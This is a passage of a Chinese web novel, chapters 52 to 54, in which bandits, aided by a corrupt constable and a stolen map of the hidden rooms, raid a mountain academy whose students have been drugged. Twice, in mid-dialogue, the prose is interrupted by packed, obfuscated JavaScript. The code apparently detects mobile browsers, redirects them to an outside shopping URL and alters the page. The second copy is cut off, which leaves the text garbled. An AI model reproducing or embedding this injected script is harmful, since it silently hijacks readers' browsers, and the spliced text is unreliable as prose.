不知道她为什么会这么问,成非点点头,“嗯,我见他使劲捂着自己的胳膊,那血就是不停往指缝里冒呢。” 栗铜听着也觉得有些奇怪,“啊?使劲捂着胳膊?可是咱们书院外围的机关暗器是竹矢呀,被竹矢伤了不是首先要等医师先将竹矢拔出来再止血包扎么,就算竹矢没有刺入身体而是擦着胳膊过去,那也不至于哗哗往外冒血呀……” “对了眠眠,还有这个。”赵芊芊将一直握在手中的东西递给初暒,“我方才无意间在书院门楼一处拐角捡到,不像是咱们书院谁的,你瞧瞧有没有在哪里见过。” 初暒低头看去,目光刚触上它的轮廓,秀眉便微微蹙起,她问,“你可曾将这东西拿到过书院外面?” 52. 贼心 竹篼坚韧,削磨尖锐后,就是一件极好的利器。 初暒原先在安南山那片竹林打拳练功间隙用竹篼做了好几把锋利竹刀,她将做好的竹刀分别藏在身上各处以备不时之需,却不知自己什么时候将其中一把遗失,还偏偏被赵芊芊捡去。 她问,“你可曾将这东西拿到过书院外面?” 赵芊芊点头说,“竹刀锋利,我便用布包垫着将它捏在手里,在书院外跛脚寻人时这竹刀不慎从我手中布包里滑了出去,我脚疼半天蹲不下去,还是栗铜出来才把它捡起来给我呢,眠眠,这个不能拿出去么?” “也不是,这东西是我闲着没事时做的,磨得太利,就怕被谁见了拿去玩时不小心伤着自己。”初暒接过她手里的竹刀,嘱咐道,“土匪吃了瘪至今还没有动静,眼下安南山中还不算太平,大家下了学还是老实待在书院为妙,还有……驻守书院的官差人数削减了,可每日要干的活却还是那么多,他们辛苦,咱们多体谅,平日就别再去烦扰了。” 成非:“受伤那人怎么办,晚上咱还用不用带着药箱去崇义斋问问?怎么说也是在咱们书院见了血,好歹得去关怀关怀吧。” 初暒想了想,说,“你说的也对,只是芊芊即使没扭着脚,夜里也不便去男子寝,要不,你一会儿去问问吴夫子,看派谁去合适。” 成非:“行。” 栗铜却不解,“他们人不够,书院人多的是呀,为何不能让学生们临时组建的小队和官差们一起换班巡护呢,那样既省力也能让巡护队伍看着大一些。” 初暒:“原先让学生建立小队自保,就是依仗书院外围有高大围墙挡着,土匪要想进来,还需看他有没有命能闯过墙上的机关,如果像你说的安排学生在书院外和官差一起巡护,要是遇上土匪,谁能保证在混乱中能躲过那些竹矢,保全好自己,真到情况危急时你要人家官差是先护着你还是先杀匪?” 是他思虑不周,栗铜哦了一声,“知道了,我这就去跟其他人交代一下。” 成非:“那我跟他一起。” 看他们离去,赵芊芊笑道,“他俩的年岁比你还要大一些,可我瞧你方才的语气就像是一位兄长在教训自己不懂事的小弟。” 初暒不接话,向前挽住她的手臂,“走吧,我扶你回校舍。” 她上次在鬼宅被打,苟旦送来的跌打损伤药膏还剩了些,赵芊芊看初暒娴熟的给自己上完药后,问,“虽然与你同寝许久,可我还是觉得自己不了解你。” 初暒擦拭沾了药膏的手一顿,随后才回她,“我有时也不了解自己。” 没想到她会这么说,赵芊芊笑了笑,“同窗们聚在一起闲聊,提起你时总会有人说那丫头实在古怪,姑娘不像姑娘,穿得像少年郎,行走像粗糙汉子,说话又像街头说什么就来什么的神算子,大家私下都说看不惯你这幅总是运筹帷幄的模样,但我知道,你只有是这幅模样时,他们心里才最安稳。” 形容的还挺好,初暒勾着唇角笑了。 赵芊芊见状,又说,“你笑起来真好看,要是平日里多笑笑,大家一定不舍得在你背后嚼舌根。” “整日被困在这小小书院中,学生们也只有说些闲话找找乐子了,我并不在意。”初暒起身为她掖好被角,“你安心歇着吧,下午上课我替你向夫子告假,这几日也别出去了,三餐我会替你捎回来。” 初暒交代完就要出去。 赵芊芊靠在床头,轻轻问出一句,“你可有心悦之人?” 这声音既像呢喃也向呓语,初暒不知道她在自言还是在问自己,故而只是停了脚步,背对着她立于原地。 “我有,所以这些日子我无时无刻不在想,要是我能像你一样勇敢,是不是早就将他救出来了。” 赵芊芊没有说他是谁,初暒却心知肚明。 之前还想着替慕峰青还债,没成想到现在自己也亏欠她许多了。 “脚踝只是扭了一下就这么疼了,明知他在受苦,一定比我疼了千倍百倍,我却一点办法也没有,这滋味可真不好受啊眠眠。” 初暒紧握着拳,手臂因为太过用力以至于牵带着身子开始微微颤抖。 “这些话我自知不合礼数,只能借着伤病与你浑说,你不是爱和人家长里短的性子,所以我便一股脑全部都倒给你了,莫要见怪,出了门将它们忘了罢……” “我没有心悦之人,但我心里有一群与心悦之人分量不相上下的人,你说的滋味我也体会过,那是比把心肝放在火上煎烤还要疼的,但…疼过了,往后该做的事仍旧要做,该盼望的明天也要继续盼望,只有自己先好好活着,他们才不会被别人忘记。” 房门被她轻轻扣住,赵芊芊默默静坐许久,直到眼眶终于含不住泪水时,才轻启双唇,答了声,“好。” 走出校舍,初暒在一处没人的地方摸出了赵芊芊还给自己的竹刀。 刀把与刀身上虚土被蹭掉了,只有连接处有稍厚一些的灰土,估计掉到门口拐角处有几天了。 在虔来山杀胖土匪用的就是这种竹刀,那日初暒从悬崖底回来后还专程去崖边寻找土匪尸首,以取出竹刀不留凶器痕迹,但观察地上拖拽痕迹,胖土匪尸首似乎也被人丢下了悬崖。 这活儿如果是胖土匪的同伙所为,那他一定会瞧见尸首喉间插着的竹刀。 安南县衙有一位官差被杀。 留守书院的官差中有人引导成非找懂暗室机关与医术的姑娘去书院外面。 难道……纪天已经与虔来山那群南夷土匪勾结了? 南夷土匪果真贼心不死。 初暒低声咒骂一句,转念又想起赵芊芊说上午在书院外曾不小心将竹刀掉落,此举很有可能已经落入土匪眼中。 一群蠢货怕是找错了要复仇的人,初暒觉得他们可笑,但隐约又感觉好像有哪里不对劲儿,此时上课梆子正巧响起,午间休息的学生们从书院各处钻出来往学堂里跑,她一时想不起什么,便将这个不对劲儿压了下去,也混跑进了人群之中。 于允芳最近不知在忙些什么,课业大多都交给吴所仕帮忙分担。 吴所仕课后听成非说巡守官差被书院机关暗器误伤,估摸着他们快到轮换值守时连忙带着药箱和食盒就直奔了崇义斋。 高子雄带了两个人刚出去,屋内只有徐英与纪天坐在地铺上小声说话,见吴所仕拎着大包小包进来,徐英立刻捂着胳膊踉跄起身。 “哎呀呀,您快些坐着,切莫扯着伤口了。 吴所仕将挎着的东西搁在桌上,小心扶着徐英坐到了靠墙摆着的太师椅上,惭愧道,“都是我们招待不周,让您白白受了这份苦,于先生近日因私事繁忙实在抽不开身,故而只派老夫前来给您赔罪,老夫虽然一把年纪,但年轻时也曾在城里安济坊的老大夫手下学过几日,您要是不嫌弃,便让老夫为您将伤处重新处理包扎?” “不成!吴夫子……” 受伤的人还没开口,纪天先过来阻拦,徐英皱眉用眼色示意他莫要多嘴,而后才和颜悦色与吴夫子道,“我这兄弟年纪还小,没经过大事,言语有些冲撞还请吴夫子莫要责怪。” 见吴所仕不在意的笑笑摆手,徐英又说,“就是他上午见我伤了,急赤白脸要学生回去寻懂得包扎医治的人来,直到看见您过来,我才明白学生们竟被他唬的将您都惊动了,其实啊就只是被墙洞里忽然飞出来的竹矢划了一下,为这点儿事让您劳累跑这一趟,我倒想先跟您赔罪了。” 吴所仕担忧道,“总归是见了血的,天气炎热,伤口要是化了脓就不好了,咱这儿外伤药都齐全着,要不还是让老夫……” “书院上下山不方便,东西能省就省着吧,我这小伤实在没脸沾学生们的光,吴夫子您再这样客气,我待会儿不好意思睡下,恐怕只能拉着我这小弟再出去值一趟班了。” 他这话说的让人无法再继续客套,吴所仕看了一眼他手臂上的伤处,还是有些纳闷,“下午有学生说您受伤我还奇怪,自王县尉刚来那日起,于先生同他研究过书院的构造布局、暗室分布后 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他说着就要起身告辞,纪天看吴夫子心不在焉,像是在想其他事,便跟着他话家常似的,问,“之前与学生们闲聊时,我听说把被土匪绑走的学生平安救回来还有整个书院三次防住土匪之功的是个女娃娃,她在书院中组建了好几支小队,其中就有专管止血包扎的呢,这些长见识的事,怎么不喊她们过来与我们一同参与学习?” 书院学生们亲眼见过初暒的临危不惧与惊人之举,私下里讨论与崇拜不可避免,但孩子们说话时也常过于夸大事实,故而先前王羌曹听过那些吹捧后只当是他们的童言童语,再加上初暒是个不爱出风头的人,她一下学就与赵芊芊回校舍待着,两人从不在官差与同窗们面前晃悠,时日一长大家也就逐渐淡忘了此事。 可是这位官差为何将学生的童言童语当了真,还想让两个姑娘与几个大男人一起参与学习? 他们想干什么? 吴所仕脸色一变,看着纪天严肃道,“我们书院的女弟子确实有过人才能,但她们更懂得礼仪之道!” 话刚说出口,纪天就被自己的徐英哥悄悄踹了一脚,他醒悟自己的话略有轻浮,于是立即向吴所仕赔礼,“吴夫子我一个粗人,说话没有分寸却也没有坏心,您别见怪、别见怪。” 徐英也赔笑,“是我御下不严,吴夫子您……” “罢了罢了,不说那些无用之话,老夫就此告辞,您二位尽早歇着吧。” 纪天规规矩矩对吴所仕的背影颔首称是,可他刚抬起头就看见徐英往前走了两步用手刀在吴所仕后颈砍了一下。 方才还铿锵有力的老汉,闷哼一声,直勾勾倒在了徐英怀里。 纪天大惊,“徐英哥!你这是干啥啊!” “别愣着,快搭把手!” 两人将吴所仕抬到地铺,又用被褥将他严严实实地的遮盖住,纪天见棉被上的起伏不明显,哆哆嗦嗦问,“他死了?” 徐英无语,“瞎说什么?我哪敢杀人,他就是昏过去而已。” “可是哥,你砍他作甚啊!” “还不是你嘴快,让他起了疑心。” 纪天讪讪,“我只是想让那个丫头自己来咱们面前,省的费力去寻了么。” “哪有这么多好事都能落到你头上。”徐英捂着自己手臂,不安道,“自吴所仕今夜进来,我就总觉得他看我手臂伤处时的眼神不太对。” “啊,难不成他已经有所察觉?” 徐英看着地铺上凸起的部分,思索片刻后,说,“反正吴所仕已被我放倒在这里,夜长梦多,我们不能再等了,纪天兄弟,就今夜吧。” 纪天:“可是今夜不是咱俩巡守啊?高大哥还带着俩人在外面呢。” “高子雄那人平日对我还算客气,他那边我去引开,其他就按照你安排的来吧。” “行,徐英哥你放心,事成之后那些金子我一定与你对半分,小弟不贪心,绝不会亏待大哥你的,那我先走了。” 徐英搭着纪天的肩膀送他出去,临行前将藏在袖中的东西眼疾手快的塞进纪天腰间后欣慰与他摆手,笑道,“嗯,去罢。” 53. 大礼 过了熄灯的时辰,安南书院里静悄悄的。 东厨后门老旧的木板门轻轻‘吱’了一声,片刻后,外面又响起落单的咕咕鸟在林中夜啼的声音。 “咕咕!” “咕咕!” 得到了树丛中的回应,纪天对猫着腰,对快步走来的几人低声道,“情况有变,你们今夜就得动手了。” “今夜?” 二当家皱眉看向瘦猴,“可是我们……” 给他们办事还这么磨叽。 纪天不满,“可是什么?你们要是不想干就直说,甭让我再担惊受怕的跑来跑去。” 瘦猴:“干干干!您只管吩咐就成。” “还是你爽快。”纪天从怀里掏出火折子,将火星吹出光亮来,“你们要找到的那个姑娘就睡在女寝第一间屋子靠东的那张铺上,你…找几个麻利的跟我进去,学生们此时都睡了,切记动静小点儿,将人带出来后,我与你们就再无瓜葛,你们往后也不要再骚扰安南书院的学生了。” 纪天说完就举着火折子转身走了,瘦猴仍旧客客气气颔首,“那是自然,劳烦您前面带路。” 二当家看不惯这种为了点钱就将自己人卖了的家伙,对着他庞大的背影虚踹一脚时,借着月光忽然看见这官差腰后面好像塞着什么东西。 他拦住瘦猴,用眼神示意他看过去。 瘦猴动作利索,一个箭步就从官差腰间将那卷东西抽出。 塞进去的时候还觉察不到,可此时有人将其猛地抽出,纪天倏地觉得自己腰带间松了一些,不知被人拿走的东西是什么,他伸手摸向后腰的同时还回头去看。 “图纸?” 山里伸手不见五指,多亏天上月光与纪天手中的火折子光芒,二当家才看出瘦猴手上的纸卷上画的是什么,“还是安南书院暗室分布图纸!” 二当家大喜过望,纪天心中却惊呼不好。 这图纸怎会出现在他身上? 纪天来不及多想,张着手掌就要从那瘦土匪手上去抢,“快还给我!这不是能给你们的东西!” 安南书院虽说有他们这些官差每日巡护震慑,但防护的关键还是院子自有的这些暗室机关。 他们第一天驻守时,就听王羌曹说,书院位置高,地势极好,再加上墙体遍布的机关暗器,十分的难攻,百分的易守,只要土匪胆敢侵袭,他们哪怕只有三十人,也足够将十倍以上的敌人消灭殆尽。 要是这份书院暗室分布图纸落入土匪手中,那安南书院岂不是只能像绵羊摆在案板上任人摆弄了吗! 纪天贪财,却并非心狠手辣之人。 他挥手去抢瘦土匪手上的图纸,可不料只扑了个空,他诧异地看着将图纸换了只手拿的瘦土匪,忍着恐惧与怒气问,“你这是何意!” 瘦土匪微微笑着,脸上的恭敬与谄媚消失殆尽,他佯装失望道,“我还当你是特地带着这份大礼来见我呢。” 那是整座安南书院的图纸,他说这是份大礼? 纪天终于醒悟这帮土匪的目的根本就不是那个劳什子压寨夫人,他们骗了自己,这群丧尽天良的畜生要的是安南书院的所有人! 愤怒战胜了恐惧,纪天丢掉火折子后想抽出腰间佩刀朝他们劈砍过去,可手刚握上刀把,整个人就被从黑夜里窜出来的土匪手下左右牢牢钳住。 他动弹不得,只能使劲扭动着身子破口大骂,“甘你女马的,竟敢骗老子!你们到底想干什么!老子告诉你,你们杀谁都成,就是别碰这些学生……呜呜嗯呜……呕……” 林中飞禽被惊得成群飞起,土匪手下将一团脏布塞进纪天嘴里,恶心难闻的味道从口中传窜进鼻腔,然后一起涌进他的喉间。 纪天的骂声变成一阵干呕,他低着头想吐,可越低头那味道就越冲,他不想呼吸却不得不呼吸,于是不过瞬间而已,他那张脸就立刻被憋得通红,别说挣扎反抗,就连呜咽哼哼声都再发不出来。 “你这会儿装什么高洁大义?收我黄金时怎么不说别碰这些学生?”见他瘫软在地,瘦土匪扯住纪天发髻让他抬头看着自己,“图纸你不想送给我,那就当是我从你手上买来的,钱虽不多,可也足够你一会儿请黑白无常开路了,怎么都算是有命挣,用命花,官差兄弟你不亏的。” 纪天的双脚还在无力乱蹬,瘦猴嫌恶地甩手示意,“送走罢。” “是。” 手下们应声后将他拖走,没一会儿,窸窣草丛中便听不见其他动静,回来复命的土匪看到瘦猴又走向他们来时的地方,有些疑惑,二当家却道,“那小子不知有什么毛病,就爱从死人脚上扒鞋,以后见得多了,就不奇怪了。” 干完自己的事,瘦猴一过来就对二当家说,“这安南书院里还有其他人。” 二当家不解,“什么?” 瘦猴:“安南书院有官差驻守,这份暗室分布图纸也算他们的机要文书,可是刚才那官差穿的是寻常衙役服饰,他身上不应当出现这份图纸。” “万一是他自己偷来的呢。” “我给的黄金他都没装在兜里,怎么会将如此重要的东西随意塞在腰带上,况且我从他腰上抽出此物直到你说这是安南书院暗室分布图纸时,才见他暴怒,由此可知,他原先并不知道这纸上画的是什么东西。” “你是说,这图纸是‘其他人’趁其不备塞给他的?”二当家恍然道,“瘦猴,还是你的脑子好使啊!” 瘦猴并未将这句赞赏放在心上,只说,“里面那人故意让他将图纸带出来,就是想让咱们顺利进去。” “啊!这该不会是鹰爪孙给咱下的套吧!” “我们手中有了图纸,方才的官差就毫无用处,那人将图纸塞出去后,就知道他必死无疑。”瘦猴冷笑,“中北哪有鹰爪孙肯用自己人的性命杀一群土匪?” 二当家也整不明白了,他抬手拨弄着自己乱糟糟地头发,“不是鹰爪孙,还能是谁,咱不知道他是敌是友,也不敢贸然进去吧。” “俗话说‘敌人的敌人就是朋友’,人家已经将‘刀’递出来了,咱们哪有不敢接的道理,二当家,找几个手下回寨子喊人,今夜便是咱们血洗安南书院,为惨死的兄弟们报仇的日子!” 被浮云遮住的月光里闪过几道人影后,东厨后门就重又安静下来。 夏夜炎热,学生们睡觉时都将窗户支起着,有晚风从窗棂进来,温柔地拂过每一张熟睡的小脸。 从窗棂进来的还有梦呓与鼾声,这些声音极轻,却扰的赵芊芊一直翻来覆去。 初暒平躺着假寐,问她,“睡不着?” “嗯。”实在难以入眠,赵芊芊索性抱着枕头坐起来,她希冀问,“眠眠,我能不能点灯做一会儿女红?” “已经这么晚了。” 这是不能的意思喽。 赵芊芊撇撇嘴认命的趴在床榻上。 看她难过,初暒想想又问,“姑娘家是不是都喜爱女红?我娘一有空就握着绣绷,你也是成天的将针线带在身上。” “其他姑娘不晓得,我只记得我姐姐原先是爱的,她自小就喜欢给泥人缝小衣服,我幼时每年一个时兴的布老虎也都是她亲手做的,我曾偷听她与家里的教书先生说想做闻名天下的绣娘,我以为那只是她在先生面前夸下的海口,可直到我为姐姐收拾遗物看到的那套漂亮的不似人间之物的嫁衣时,才明白什么这世上不只赵家没了一个女儿,天下也失去了一位闻名的绣娘。” “我自知没有姐姐才华横溢、温柔敦厚,但我还是想在女红一事上,完成她的心之所想。”赵芊芊偏头看向初暒,“眠眠,你懂得多,你可知道如今天下最闻名的绣娘在何处?是何人吗?” 初暒前世不是假小子似的在城里混日子,就是扮男人在军营给漠匪使绊子,哪里知道天下闻名的绣娘是什么东西。 “绣娘……我知之甚少,布庄、染坊我倒去过,可是那些个地方,别说绣娘,就连母蚊子都没有一只,布料染什么染料,染料上绣什么花色,全由男子说了算,男子说这衣服女子穿着好看,于是各家布庄全都是那种式样的成衣,男子又说女子小巧伊人、身形蹁跹最是动人,于是商铺给女子做的衣裳裤腿窄小的都装不下胳膊。” 初暒越说越气,赵芊芊倒被她的埋怨逗得笑出声来,“我很少外出,竟不知外头是这样的,你莫气恼,等以后得空,我一定亲手为你做一身衣裳,可能不及你娘亲做的那套好看,但总比你如今穿的长袍短褂要强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888102|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些。” “那我先谢过你了。” “与我就别再说这些客套……” 赵芊芊话还没说完,窗外忽然传出一阵竹筒碰撞引起的噼里啪啦的声音。 “有人闯进校舍了!” 初暒言毕,立即翻身下床,她将赵芊芊扶下来塞进屋内桌底,正声交代,“一会儿不论听到什么声音都不要出来!” “知道了,你…万事小心!” “好。” 依据安南书院暗室分布图纸,土匪二当家很快就摸到了书院校舍,他立于房门外用力暗下手掌,示意站在其他屋门外的手下们动手。 只见他们每两人一队,整齐划一的小心推开校舍房门,蹑脚进去分别用力将手中大刀劈砍在屋内铺着凌乱床铺的床榻上,而后又同时转过头来,阴狠的眼睛中似乎都在大吼—— 怎么没人! 他们慌乱地夺门而出时,脚下无意间踩断了连接着校舍所有屋子的细绳,细绳的尽头是讲经堂的一大只竹筒风铃。 风铃是用做完机关暗器剩下的竹筒做的,竹筒稍大,轻风吹不动,唯有尾部那根细绳足以牵一发而动全身。 听到风铃声音,二当家意料中的满目火把光芒与手执重械的官差并没有出现在他的眼帘,不过如果他再心细一些,就能听出,先前书院中那些极为轻微的梦呓与鼾声到此时已经完全没有了。 安南书院安静的好似一座废弃已久的荒院。 “他娘的腿儿,咱们好像中计了!” “二当家,那接下来该怎么办啊!” “这么大动静都不见人,这里蹊跷,咱还是走为上计吧!撤!” 一群人背靠着慢慢往东厨后门走,可这时,耳边忽然‘嗖嗖’两声,当二当家反应过来后身前与身后两人已经闷哼一声,歪着身子倒在他的脚边了。 他们身上插着的箭矢整体为铁质,尾部有白色箭簇。 “女马的,老子就说这是鹰爪孙设的套了!”二当家啐了一口,吼道,“来都来了,小子们!干他丫的,将安南书院的学生全部绑了,谁先活捉杀胖冬的丫头赏银二百两,死的折半!鹰爪孙杀我兄弟,绝不留下活口!” “是!” 早知道驻守安南书院的官差只有五个,其中一个还被他们杀了,敌寡我众,土匪们放心的让新仇旧怨一齐涌上自己的天灵盖。 这些人忽然没了忌惮,自己点了火把开始满院搜寻。 初暒躲在暗处心中担忧却并不慌张,她看了一眼满院乱窜的土匪,转身去找早就安排在院内各处暗室里的学生。 百果园水井后面有一处地窖,初暒拨开盖在上面的干草,小声问,“成非,吴夫子在不在里面?” 地窖里的成非啊了一声,用力仰着脖子回答,“吴夫子不在这里呀,那位徐姓大人说他一早就回书房做公务了至今没过来呢。” 自从晓得官差中有内鬼后,于先生便交代等入夜后所有人都分别躲进提前分配安排好的暗室之中,吴夫子不可能这会儿还在书房。 徐姓大人…… 徐英? 和纪天交好的徐英。 初暒咬着唇,暗想:情况或许有些不妙。 “成非,你出来分别与我去找于先生和吴夫子。” “不成啊眠眠……”成非有气无力道,“晚上过来时我就觉得身体不舒服,此时也不知怎的两手两脚都软绵绵的使不上力气了。” “只是你,还是里面的人都是如此?” 成非看了一圈周围话都说不出来的同窗,差点哭出来,“都是…都是如此。” 四肢无力,软筋散? 他们都是如此了,那其他人也逃不过。 要想同时将书院中人药倒,只能利用这个水井了。 初暒看向手拄着的水井,她想站起来查看井边粉末,可一使劲儿手一软险些把自己摔了个四脚朝天。 方才跑过来,似乎将体内的药物激发了。 她尽力坐下,将掀开的干草重又铺在地窖上,正要独自去找于先生时,有一片火光照耀由远及近,凌乱且急速的脚步声也紧跟那片光急速朝此处跑来。 “二当家,水井那儿还有一处暗室!” 54. 火油 夜半三更之时、夜深人静之际,安南书院目之所及处均亮着明晃晃的火把,自从书院招惹上土匪以来,夜里还不曾这样明亮过。 成非一行人被土匪们拖拽着推搡到前院才发现,被反手绑着、满地滚得东倒西歪的全是自己潜藏在各处暗室中的同窗。 他们为何能如此迅速的找出这么多人? 一个土匪一腿扫来,将才从地窖揪出来的几个小子踢倒在人堆里。 学生们都中了药,手又被反绑着,心里既慌张,浑身也没力气,任由他踹到哪儿,自己就倒到哪儿,身子疲软的连声痛的喊不出来。 成非运气不好,摔倒的地方是小片空地,他硬生生用肩膀抻出去垫着,才没让脑袋磕过去。 “哎成非……” 听见有人喊他,成非忍着酸痛用脑袋撑地使劲坐起,小声问,“苟旦?你不是藏在门楼后面么,为何这么快就被找到了?” 除了几个手举大刀围着瘫软在地上的学生们转悠的土匪,其他人仍在书院中四处搜寻,苟旦听身后的脚步声走远,同样低声,“我也纳闷呢,刚听见院里的竹筒风铃响动没一会儿,这些人就直接转动暗门将我们逮出来了,我本想反抗,可哪知道身上越用劲越没劲,连大声吼叫都发不出声。” “完了完了,咱们今夜该不会都交代在这儿吧,我们老成家可就我一根独苗,我死了我爹娘怎么活啊……” “嘘!”苟旦想捂住他的嘴,奈何手被绑着,他缓缓扭着脖子左右看看,见没引起土匪注意,才贴着成非耳朵说,“别怕,我方才仔细看了,眠眠还有夫子们都不在此处。” 听他这么说成非眼睛立刻亮了起来,他看向背手在前头踱步的土匪头子,忽然想起,“咦?不是还有五个官差驻守在咱们书院么,人呢?” “报!二当家!这些学生好似都被下药了,个个身子都软绵绵的,走不动道不说,连话都喊不出来!” “报!二当家,在书院正门外土坡底下发现两具官差尸首!” 手下们接二连三回来报信,二当家皱眉问其中一人,“安南书院正门外的土坡是咱们这几日蹲守的地方么。” “回二当家,正是!” 啪! 院里的一盆长势正好的兰花被人踹烂,二当家叉腰狠狠骂道,“个女表子养的,又是下药又是杀鹰爪孙的,竟算计到老子头上了。” 土匪们知道他在骂谁,可茫然无措的学生们只听见官差尸首这四个字。 连官差都死了,更何况他们。 身子动不了,可是还能哭,苟旦一扭头就瞧见成非好好睁着眼睛,眼泪就从眼眶中刷的滚落下来。 大家不敢哭出声来,只能颤抖着吭哧抽着鼻子。 “不想死的就不许哭!” 二当家被这些抽泣声吵得越发心烦,他朝手下吼道,“就一个小丫头怎么还没找见!” “二当家,小的们都将这安南书院翻了个底朝天了,可真真是见鬼了,一个都没有找着啊。” 一个都没有? 二当家觉得不对劲,他余光瞥见手执火把手下身后的阴影,问,“校舍里找了么?” “啊?咱刚进来就直奔校舍了,那儿是空的呀。” “方才去的是女子寝。”二当家看向满地从暗室里抓出来的男娃娃,阴狠道,“再去男寝看看罢。” “灯下黑?” 小土匪们反应过来,兴冲冲的答了声是而后急速跑开。 看着他们轻车熟路的往男寝方向跑去,躲在一间屋舍门后的初暒终于明白他们为何能轻易找到书院各处暗室了。 官差中有内鬼,吴夫子那边的行动大约已经受阻,于先生不知去向,自己的体力也还没有恢复,一切简直糟的不能再糟了。 她靠在墙边,看着院里那群正在受着惊吓的孩子,心中愧疚不已。 土匪头子下令不久,他的手下们很快就架着一个跛着脚的姑娘过来。 苟旦看清那姑娘脸后,惊呼出声,“芊芊!” 这突然的一声,引得那土匪二当家回头望去,他盯着踉跄走到自己面前的小丫头,眼中满是狐疑,“就是你在虔来山悬崖边手执竹刀杀了胖冬?” 赵芊芊咬着牙不答。 那土匪又问,“就是你指挥人使用安南书院机关暗器,箭杀我众多威虎寨弟兄?” 赵芊芊仍是一句话都不说。 赵芊芊身量不高,体型又瘦弱,那张小脸惨白,发丝也十分凌乱,却无故让人心里生出许多怜爱。 二当家上前捏住她的下巴,又瞧见那双清澈眼眸中满是鄙夷与厌恶。 他来了兴趣,拨开她唇边碎发,无耻笑道,“瘦猴扯谎要寻压寨夫人,如今倒让老子先找到自己的二夫人,来人……” “咻!砰!” 一道黑影从二当家耳边掠过,径直插在他身后的亭子立柱上。 二当家松开赵芊芊的下巴,将插在立柱上的竹刀拔下,不气,反而把玩着手中竹刀阴冷笑着,“这小玩意磨得真好,怪不得能插进我胖冬的喉咙。” “你要是喜欢,我愿受累将其也放进你的喉咙。” 这声音中的冷意与自己不相上下,二当家黑着脸转过身只瞧见一个高挑、穿的精干利落的小丫头扶着墙一步一步朝自己走来。 初暒总梳着最简单的女子发髻,散在身后的头发全部扎在一起,看起来利落干练,她平日里也常穿女子做工时的衣装,书院学生家中大多都务农,因而她这身装扮大家瞧着也没什么不妥。 此刻说是小丫头,可不仔细的人见了估计会将她当成半大小子。 二当家拿不准她此举是否又是花招,问,“你本可逃过此劫,为何要自投罗网?” “冤有头,债有主,你要找的人是我。”初暒面不改色,缓缓靠近他们,“何况你手里这孩子不仅无辜,脚上还有伤,用我换她,你也不亏。” 赵芊芊着急道,“眠眠!你别过来!” 初暒蹙眉轻轻对她摇了摇头。 她走的近了,二当家才眯着眼上下打量,猥琐□□,“这话不假,你这姿色想换谁,我都不亏。” 他说着,挥手示意手下将赵芊芊按在围坐在一起的学生堆里。 眠眠大概也中了药。 苟旦见土匪抬手毫不费力的掐住她的脖子,急的就要挣扎站起,却被身旁的成非扭着身子拦住,小声道,“你先别急啊,眠眠冒此险定是有原因的!” 他话音刚落,苟旦就见初暒目视着一用劲就能折断自己脖子的人,道,“我面子还算大,竟能使威虎寨二当家携手下弟兄一起与我陪葬。” “你这是什么意思!” 初暒仿佛是被他问的这话逗笑,“你刚刚不是都已经猜到了么,何必再多嘴问我,不知道的还以为是我故意将你们诓进安南书院想要一网打尽呢。” 这话倒是提醒了二当家,他连忙问手下,“总共有五个鹰爪孙留守在安南书院,如今只寻见三具尸体,还有两个呢?找着没有?” “回二当家的,派出去的人还不曾回来呢。”答话的小喽啰言毕,抽着鼻子用力吸了几下,纳闷问,“诶?什么东西好香……” 话还未说完,二当家就见这小子双腿一软翻着白眼直挺挺地倒地昏睡过去了,他察觉这香味不对,连忙屏住呼吸,挟持着初暒往墙边靠去。 眼看自己的手下一个接一个的倒下,二当家心里慌了神,他将手中锋利竹刀抵着初暒的脖颈,一时不知该如何收场。 初暒难得耐着性子与他分辨此情此景,“我若想取你性命,不会狠心用安南书院这些学生做饵,你仔细想想,到底是谁在这玩螳螂捕蝉黄雀在后的把戏。” 回二当家的,派出去的人还不曾回来呢…… 手下人的余音尤在耳边,二当家这才恍然,“我还当那些官差只是见钱眼开,却没想到原是自己筹谋半晌到头来给人家做了身嫁衣……” 二当家看着满院越发软绵的学生,忽然也感觉自己浑身无力,他低头看见身前虚弱的都有些站不稳的小丫头,顿时明白过来—— 这厮小命都被人捏在手里呢,怎的还敢引他开口中招。 双腿发软,手中的刀也拿不住了。 知道自己和安南书院这些人已落入幕后黑手的圈套,二当家索性捏着初暒肩膀靠着墙同她一起在原地坐下,留存力气,静静等待那只‘黄雀’现身。 院中弥漫的异香像是曼陀罗花的味道,此花在中北地界少见,土匪们也防不胜防,而初暒曾因这种迷香在北漠手中跌过跟头,故方才在书院水井边看到类似花粉的粉末时心中便有了猜想。 南夷人冒充土匪在虔来山称王称霸,将烧杀抢掠百姓的黑锅甩给了中北人,而北漠亦有一些细作潜进中北官府多年,妄图以一己之力让中北的‘根’烂掉。 初暒纵使浑身无力,却也被这些猜想气的咬牙切齿。 院里躺了满地的人,可是周遭却只有火把噼里啪啦燃烧的声音。 大约过了一炷香时辰,火把上裹缠的杉树皮着的火星将息不息时,连廊拐角处终于传出不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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中了药的人一动不动,可即使心中得意身上动作也从未有丝毫懈怠的徐英却大吃一惊,他不明白自己在中北蛰伏多年都没有露出过丝毫破绽,怎的被这个才初次见面的小丫头一眼就看出身份? 看着她的眼睛,徐英感觉自己的心跳忽然有些快了。 那双眼睛有杀气,也有无法言喻的怨气与恨意。 徐英不知道一个小姑娘为何会有这样的眼神,只觉得如果此时不取走她的性命,那么这目光在不远的将来一定会变成能真正要自己族人性命的利刃。 而现在…… 